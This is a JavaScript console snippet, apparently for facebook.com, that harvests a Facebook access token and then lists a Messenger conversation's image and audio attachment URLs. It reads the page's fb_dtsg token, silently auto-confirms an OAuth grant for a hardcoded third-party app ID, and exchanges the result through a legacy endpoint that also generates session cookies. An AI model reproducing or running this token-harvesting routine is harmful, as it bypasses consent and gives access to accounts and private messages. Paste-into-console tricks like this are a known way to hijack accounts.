(() => {
	
 /*
    Author:             @MonokaiJsp (MonokaiJs | https://omfg.vn)
    >>>>>>> Free for Personal Usage.
    ======= Donate me:  https://omfg.vn/donate
    ======= Github:     https://github.com
    ======= Gists 
 */ 
  
	const participant = '';					// Example: 100024036977223
	const conversations_count = 1;				// 1 recent person
	const mime_types = ['audio/aac', 'image/jpeg'];		// Mime Type Filter
	
	var get_list_conversations = (token) => {
		ajax('https://graph.facebook.com/me/threads?fields=link&limit='+conversations_count+'&access_token=' + token, (data) => {
			var found = false;
			var list_conversations = JSON.parse(data).data;
			for (conv_pos in list_conversations) {
				let conv = list_conversations[conv_pos];
				if (conv.link.includes(participant)) {
					let url = 'https://graph.facebook.com/' + conv.id + '/messages?fields=attachments&access_token='+token;
					var scan_data = url => {
						ajax(url, (data) => {
							let messages = JSON.parse(data).data;
							messages.forEach((msg) => {
								if (typeof msg.attachments !== 'undefined') {
									msg.attachments.data.forEach((attachment) => {
										if (mime_types.includes(attachment.mime_type)) {
											console.log('[' + msg.created_time + '] [' + attachment.mime_type + '] ' + ((typeof attachment.image_data === 'undefined')?attachment.file_url:attachment.image_data.url));
										}
									});
								}
							});
							if (typeof JSON.parse(data).paging.next !== 'undefined') {
								scan_data(JSON.parse(data).paging.next);
							} else {
								console.log('> Done!!!');
							}
						}, (e) => {
							console.log('Failed to retrieve messages!');
						});
					}
					scan_data(url);
					found = true;
					break;
				}
			}
			if (!found) {
				console.log('Can not find that conversation!');
			}
		}, (err) => {
			console.log('Failed to get list conversations [' + err + ']');
		});
	}
	
	var ajax = (url, succ_callback, fail_callback) => {
		var ajax_request = new XMLHttpRequest;
		ajax_request.onreadystatechange = () => {
			if (ajax_request.readyState == 4) {
				if (ajax_request.status == 200) {
					succ_callback(ajax_request.responseText);
				} else {
					fail_callback(ajax_request.status);
				}
			}
		}
		ajax_request.open('GET', url);
		ajax_request.send();
	}
	
	var get_token = (callback) => {
		var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
		var http = new XMLHttpRequest;
		var data = new FormData();
		data.append('fb_dtsg', fb_dtsg);
		data.append('app_id', '165907476854626');
		data.append('redirect_uri', 'fbconnect://success');
		data.append('display', 'popup');
		data.append('ref', 'Default');
		data.append('return_format', 'access_token');
		data.append('sso_device', 'ios');
		data.append('__CONFIRM__', '1');
		http.open('POST', 'https://www.facebook.com/v1.0/dialog/oauth/confirm');
		http.send(data);
		http.onreadystatechange = function(){
			if(http.readyState == 4 && http.status == 200){
				var http2 = new XMLHttpRequest;
				http2.open('GET', 'https://b-api.facebook.com/restserver.php?method=auth.getSessionForApp&format=json&access_token='+http.responseText.match(/access_token=(.*?)&/)[1]+'&new_app_id=6628568379&generate_session_cookies=1&__mref=message_bubble');
				http2.send();
				http2.onreadystatechange = function(){
					if(http2.readyState == 4 && http2.status == 200){
						var http3 = new XMLHttpRequest;
						var token = JSON.parse(http2.responseText).access_token;
						callback(token);
					}
				}
			}
		}
	}
	get_token(get_list_conversations);
	// return false;
})();